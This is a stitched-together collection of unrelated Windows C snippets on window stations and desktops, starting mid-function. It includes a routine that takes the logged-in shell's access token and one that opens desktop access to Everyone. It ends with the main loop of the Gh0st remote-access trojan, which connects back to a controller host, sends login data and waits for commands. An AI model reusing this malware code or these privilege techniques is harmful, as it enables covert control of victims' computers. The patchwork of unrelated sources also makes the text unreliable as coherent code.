hproc, &hdup, 0, isservice, DUPLICATE_SAME_ACCESS)) { CloseHandle(hstderr); hstderr = hdup; } else { printerr("DupHandle(stderr [%x]) failed (%d)\n", hstderr, GetLastError()); } /* You can't close the console till all the handles above were * rescued by DuplicateHandle() */ if (!FreeConsole()) printerr("FreeConsole() failed (%d)\n", GetLastError()); if (isservice) { #ifdef WE_EVER_FIGURE_OUT_WHY_THIS_DOESNT_WORK hsavedesk = GetThreadDesktop(GetCurrentThreadId()); if (!hsavedesk || hsavedesk == INVALID_HANDLE_VALUE) { printerr("GetThreadDesktop(GetTID()) failed (%d)\n", GetLastError()); } CloseWindowStation(hwinsta); hwinsta = OpenWindowStation("WinSta0", TRUE, MAXIMUM_ALLOWED); if (!hwinsta || hwinsta == INVALID_HANDLE_VALUE) { printerr("OpenWinSta(WinSta0) failed (%d)\n", GetLastError()); } else if (!SetProcessWindowStation(hwinsta)) { printerr("SetProcWinSta(WinSta0) failed (%d)\n", GetLastError()); } hdesk = OpenDesktop("Default", 0, TRUE, MAXIMUM_ALLOWED); if (!hdesk || hdesk == INVALID_HANDLE_VALUE) { printerr("OpenDesktop(Default) failed (%d)\n", GetLastError()); } else if (!SetThreadDesktop(hdesk)) { printerr("SetThreadDesktop(Default) failed (%d)\n", GetLastError()); } #else PROCESS_INFORMATION pi; STARTUPINFO si; DWORD exitcode = 1; char appbuff[MAX_PATH]; char *appname = NULL; char *cmdline = GetCommandLine(); if (!GetModuleFileName(NULL, appbuff, sizeof(appbuff))) { appname = appbuff; } memset(&si, 0, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.lpDesktop = "WinSta0\\Default"; si.wShowWindow = 1; /* SW_SHOWNORMAL */ si.hStdInput = hstdin; si.hStdOutput = hstdout; si.hStdError = hstderr; /* Instantly, upon creating the new process, we will close our * copies of the handles so our parent isn't confused when the * child closes their copy of the handle. Without this action, * we would hold a copy of the handle, and the parent would not * receive their EOF notification. */ if (CreateProcess(appname, cmdline, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { CloseHandle(si.hStdInput); CloseHandle(si.hStdOutput); CloseHandle(si.hStdError); ResumeThread(pi.hThread); CloseHandle(pi.hThread); WaitForSingleObject(pi.hProcess, INFINITE); GetExitCodeProcess(pi.hProcess, &exitcode); CloseHandle(pi.hProcess); return exitcode; } return 1; #endif } if (!AllocConsole()) { printerr("AllocConsole(Default) failed (%d)\n", GetLastError()); } if (contitle && !SetConsoleTitle(contitle)) { printerr("SetConsoleTitle() failed (%d)\n", GetLastError()); } conout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, FALSE, OPEN_EXISTING, 0, NULL); if (!conout || conout == INVALID_HANDLE_VALUE) { printerr("CreateFile(CONOUT$) failed (%d)\n", GetLastError()); } else if (!GetConsoleMode(conout, &conmode)) { printerr("GetConsoleMode(CONOUT) failed (%d)\n", GetLastError()); } else if (!SetConsoleMode(conout, conmode = ((conmode | newoutmode) & ~notoutmode))) { printerr("SetConsoleMode(CONOUT, 0x%x) failed (%d)\n", conmode, GetLastError()); } conin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, FALSE, OPEN_EXISTING, 0, NULL); if (!conin || conin == INVALID_HANDLE_VALUE) { printerr("CreateFile(CONIN$) failed (%d)\n", GetLastError()); } else if (!GetConsoleMode(conin, &conmode)) { printerr("GetConsoleMode(CONIN) failed (%d)\n", GetLastError()); } else if (!SetConsoleMode(conin, conmode = ((conmode | newinmode) & ~notinmode))) { printerr("SetConsoleMode(CONIN, 0x%x) failed (%d)\n", conmode, GetLastError()); } feed.in = conin; feed.out = hstdout; thread = CreateThread(NULL, 0, feedback, (LPVOID)&feed, 0, &tid); while (ReadFile(hstdin, str, sizeof(str), &len, NULL)) if (!len || !WriteFile(conout, str, len, &len, NULL)) break; printerr("[EOF] from stdin (%d)\n", GetLastError()); CloseHandle(stdout); if (!GetConsoleTitle(str, sizeof(str))) { printerr("SetConsoleTitle() failed (%d)\n", GetLastError()); } else { strcat(str, " - [Finished]"); if (!SetConsoleTitle(str)) { printerr("SetConsoleTitle() failed (%d)\n", GetLastError()); } } WaitForSingleObject(thread, timeout); FreeConsole(); if (isservice) { if (!SetProcessWindowStation(hsavewinsta)) { len = GetLastError(); } if (!SetThreadDesktop(hsavedesk)) { len = GetLastError(); } CloseDesktop(hdesk); CloseWindowStation(hwinsta); } return 0; }
BOOL StartInteractiveClientProcess ( LPTSTR lpszUsername, // client to log on LPTSTR lpszDomain, // domain of client's account LPTSTR lpszPassword, // client's password LPTSTR lpCommandLine // command line to execute ) { HANDLE hToken; HDESK hdesk = NULL; HWINSTA hwinsta = NULL, hwinstaSave = NULL; PROCESS_INFORMATION pi; PSID pSid = NULL; STARTUPINFO si; BOOL bResult = FALSE; // Log the client on to the local computer. if (!LogonUser( lpszUsername, lpszDomain, lpszPassword, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken) ) { goto Cleanup; } // Save a handle to the caller's current window station. if ( (hwinstaSave = GetProcessWindowStation() ) == NULL) goto Cleanup; // Get a handle to the interactive window station. hwinsta = OpenWindowStation( _T("winsta0"), // the interactive window station FALSE, // handle is not inheritable READ_CONTROL | WRITE_DAC); // rights to read/write the DACL if (hwinsta == NULL) goto Cleanup; // To get the correct default desktop, set the caller's // window station to the interactive window station. if (!SetProcessWindowStation(hwinsta)) goto Cleanup; // Get a handle to the interactive desktop. hdesk = OpenDesktop( _T("default"), // the interactive window station 0, // no interaction with other desktop processes FALSE, // handle is not inheritable READ_CONTROL | // request the rights to read and write the DACL WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS); // Restore the caller's window station. if (!SetProcessWindowStation(hwinstaSave)) goto Cleanup; if (hdesk == NULL) goto Cleanup; // Get the SID for the client's logon session. if (!GetLogonSID(hToken, &pSid)) goto Cleanup; // Allow logon SID full access to interactive window station. if (! AddAceToWindowStation(hwinsta, pSid) ) goto Cleanup; // Allow logon SID full access to interactive desktop. if (! AddAceToDesktop(hdesk, pSid) ) goto Cleanup; // Impersonate client to ensure access to executable file. if (! ImpersonateLoggedOnUser(hToken) ) goto Cleanup; // Initialize the STARTUPINFO structure. // Specify that the process runs in the interactive desktop. ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb= sizeof(STARTUPINFO); si.lpDesktop = TEXT("winsta0\\default"); // Launch the process in the client's logon session. bResult = CreateProcessAsUser( hToken, // client's access token NULL, // file to execute lpCommandLine, // command line NULL, // pointer to process SECURITY_ATTRIBUTES NULL, // pointer to thread SECURITY_ATTRIBUTES FALSE, // handles are not inheritable NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, // creation flags NULL, // pointer to new environment block NULL, // name of current directory &si, // pointer to STARTUPINFO structure &pi // receives information about new process ); // End impersonation of client. RevertToSelf(); if (bResult && pi.hProcess != INVALID_HANDLE_VALUE) { WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); } if (pi.hThread != INVALID_HANDLE_VALUE) CloseHandle(pi.hThread); Cleanup: if (hwinstaSave != NULL) SetProcessWindowStation (hwinstaSave); // Free the buffer for the logon SID. if (pSid) FreeLogonSID(&pSid); // Close the handles to the interactive window station and desktop. if (hwinsta) CloseWindowStation(hwinsta); if (hdesk) CloseDesktop(hdesk); // Close the handle to the client's access token. if (hToken != INVALID_HANDLE_VALUE) CloseHandle(hToken); return bResult; }
///////////////////////////////////////////////////////////////////// // // GetUserToken // // Obtain token for the currently logged-in user. // // This routine looks for a window which we 'know' belongs to // the shell, and from there we follow a route which leads to // getting a handle on an access token owned by the shell. // // The return value is either a handle to a suitable token, // or else null. // // One of the times that this function might return null // is when there is no logged-in user. Other cases include // insufficient access to the desktop, etc. // // Disclaimer: // Portions of this routine found in various newsgroups // HANDLE GetUserToken(DWORD access) { HANDLE hTok = NULL; DWORD pid = 0, tid = 0; // Try it the easy way first - look for a window owned by the shell on // our current desktop. If we find one, use that to get the process id. HWND shell = FindWindowEx(NULL, NULL, "Progman", NULL); if (shell != NULL) { tid = GetWindowThreadProcessId(shell, &pid); } // We are possibly running on a private window station and desktop: we must // switch to the default (which we suppose is where we will find the // running shell). else { HWINSTA saveWinSta = GetProcessWindowStation(); HDESK saveDesk = GetThreadDesktop(GetCurrentThreadId()); HWINSTA winSta = NULL; HDESK desk = NULL; BOOL changeFlag = FALSE; BOOL dummy = saveWinSta != NULL && saveDesk != NULL && (winSta = OpenWindowStation("WinSta0", FALSE, MAXIMUM_ALLOWED)) != NULL && (changeFlag = SetProcessWindowStation(winSta)) != 0 && (desk = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED)) != NULL && SetThreadDesktop(desk) != 0; // Now find the window and process on this desktop shell = FindWindowEx(NULL, NULL, "Progman", NULL); if (shell != NULL) { tid = GetWindowThreadProcessId(shell, &pid); } // Restore our own window station and desktop if (changeFlag) { SetProcessWindowStation(saveWinSta); SetThreadDesktop(saveDesk); } // Close temporary objects if (winSta != NULL) CloseWindowStation(winSta); if (desk != NULL) CloseDesktop(desk); } // // If we have a process id, use that to get the process handle and // from there the process' access token. // if (pid != 0) { HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if (hProc != NULL) { OpenProcessToken(hProc, access, &hTok) || (hTok = NULL); CloseHandle(hProc); } } // Return token if we got one return hTok; }
static DWORD WINAPI password_thread(void *data) { tcn_pass_cb_t *cb = (tcn_pass_cb_t *)data; MSG msg; HWINSTA hwss; HWINSTA hwsu; HDESK hwds; HDESK hwdu; HWND hwnd; /* Ensure connection to service window station and desktop, and * save their handles. */ GetDesktopWindow(); hwss = GetProcessWindowStation(); hwds = GetThreadDesktop(GetCurrentThreadId()); /* Impersonate the client and connect to the User's * window station and desktop. */ hwsu = OpenWindowStation("WinSta0", FALSE, MAXIMUM_ALLOWED); if (hwsu == NULL) { ExitThread(1); return 1; } SetProcessWindowStation(hwsu); hwdu = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); if (hwdu == NULL) { SetProcessWindowStation(hwss); CloseWindowStation(hwsu); ExitThread(1); return 1; } SetThreadDesktop(hwdu); hwnd = CreateDialog(dll_instance, MAKEINTRESOURCE(1001), NULL, NULL); if (hwnd != NULL) ShowWindow(hwnd, SW_SHOW); else { ExitThread(1); return 1; } while (1) { if (PeekMessage(&msg, hwnd, 0, 0, PM_REMOVE)) { if (msg.message == WM_KEYUP) { int nVirtKey = (int)msg.wParam; if (nVirtKey == VK_ESCAPE) { DestroyWindow(hwnd); break; } else if (nVirtKey == VK_RETURN) { HWND he = GetDlgItem(hwnd, 1002); if (he) { int n = GetWindowText(he, cb->password, SSL_MAX_PASSWORD_LEN - 1); cb->password[n] = '\0'; } DestroyWindow(hwnd); break; } } TranslateMessage(&msg); DispatchMessage(&msg); } else Sleep(100); } /* Restore window station and desktop. */ SetThreadDesktop(hwds); SetProcessWindowStation(hwss); CloseDesktop(hwdu); CloseWindowStation(hwsu); ExitThread(0); return 0; }
/** * Sets the access control lists of the current window station * and desktop to allow all access. */ VOID PhSetDesktopWinStaAccess( VOID ) { static SID_IDENTIFIER_AUTHORITY appPackageAuthority = SECURITY_APP_PACKAGE_AUTHORITY; HWINSTA wsHandle; HDESK desktopHandle; ULONG allocationLength; PSECURITY_DESCRIPTOR securityDescriptor; PACL dacl; CHAR allAppPackagesSidBuffer[FIELD_OFFSET(SID, SubAuthority) + sizeof(ULONG) * 2]; PSID allAppPackagesSid; // TODO: Set security on the correct window station and desktop. allAppPackagesSid = (PISID)allAppPackagesSidBuffer; RtlInitializeSid(allAppPackagesSid, &appPackageAuthority, SECURITY_BUILTIN_APP_PACKAGE_RID_COUNT); *RtlSubAuthoritySid(allAppPackagesSid, 0) = SECURITY_APP_PACKAGE_BASE_RID; *RtlSubAuthoritySid(allAppPackagesSid, 1) = SECURITY_BUILTIN_PACKAGE_ANY_PACKAGE; // We create a DACL that allows everyone to access everything. allocationLength = SECURITY_DESCRIPTOR_MIN_LENGTH + (ULONG)sizeof(ACL) + (ULONG)sizeof(ACCESS_ALLOWED_ACE) + RtlLengthSid(&PhSeEveryoneSid) + (ULONG)sizeof(ACCESS_ALLOWED_ACE) + RtlLengthSid(allAppPackagesSid); securityDescriptor = PhAllocate(allocationLength); dacl = (PACL)((PCHAR)securityDescriptor + SECURITY_DESCRIPTOR_MIN_LENGTH); RtlCreateSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION); RtlCreateAcl(dacl, allocationLength - SECURITY_DESCRIPTOR_MIN_LENGTH, ACL_REVISION); RtlAddAccessAllowedAce(dacl, ACL_REVISION, GENERIC_ALL, &PhSeEveryoneSid); if (WindowsVersion >= WINDOWS_8) { RtlAddAccessAllowedAce(dacl, ACL_REVISION, GENERIC_ALL, allAppPackagesSid); } RtlSetDaclSecurityDescriptor(securityDescriptor, TRUE, dacl, FALSE); if (wsHandle = OpenWindowStation( L"WinSta0", FALSE, WRITE_DAC )) { PhSetObjectSecurity(wsHandle, DACL_SECURITY_INFORMATION, securityDescriptor); CloseWindowStation(wsHandle); } if (desktopHandle = OpenDesktop( L"Default", 0, FALSE, WRITE_DAC | DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS )) { PhSetObjectSecurity(desktopHandle, DACL_SECURITY_INFORMATION, securityDescriptor); CloseDesktop(desktopHandle); } PhFree(securityDescriptor); }
DWORD WINAPI main(char *lpServiceName) { char strServiceName[256]; char strKillEvent[50]; HANDLE hInstallMutex = NULL; ////////////////////////////////////////////////////////////////////////// // Set Window Station strcpy(g_strHost,g_myAddress.strIP); g_dwPort=g_myAddress.nPort; //--这里是同窗口交互 HWINSTA hOldStation = GetProcessWindowStation(); HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if (hWinSta != NULL) SetProcessWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// //--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理 //--这里要在dllmain中为CKeyboardManager::g_hInstance赋值 if (CKeyboardManager::g_hInstance != NULL) { SetUnhandledExceptionFilter(bad_exception); //这里就是错误处理的回调函数了 lstrcpy(strServiceName, lpServiceName); wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 hInstallMutex = CreateMutex(NULL, true, g_strHost); //ReConfigService(strServiceName); //--lang-- // 删除安装文件 // DeleteInstallFile(lpServiceName); //--lang-- } // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人 SetErrorMode( SEM_FAILCRITICALERRORS); char *lpszHost = NULL; DWORD dwPort = 80; char *lpszProxyHost = NULL; DWORD dwProxyPort = 0; char *lpszProxyUser = NULL; char *lpszProxyPass = NULL; HANDLE hEvent = NULL; //---这里声明了一个 CClientSocket类 CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接 //--这里判断是否连接成功如果不成功则继续向下 while (1) { // 如果不是心跳超时,不用再sleep两分钟 if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { // 2分钟断线重连, 为了尽快响应killevent for (int i = 0; i < 2000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; break; } // 改一下 Sleep(60); } } //上线地址 lpszHost = g_strHost; dwPort = g_dwPort; if (lpszProxyHost != NULL) socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); else socketClient.setGlobalProxyOption(); DWORD dwTickCount = GetTickCount(); //---调用Connect函数向主控端发起连接 OutputDebugString(lpszHost); if (!socketClient.Connect(lpszHost, dwPort)) { bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环 continue; } // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); //---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下 CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } #ifdef _DLL ////////////////////////////////////////////////////////////////////////// // Restor WindowStation and Desktop // 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏 // SetProcessWindowStation(hOldStation); // CloseWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// #endif SetErrorMode(0); ReleaseMutex(hInstallMutex); CloseHandle(hInstallMutex); }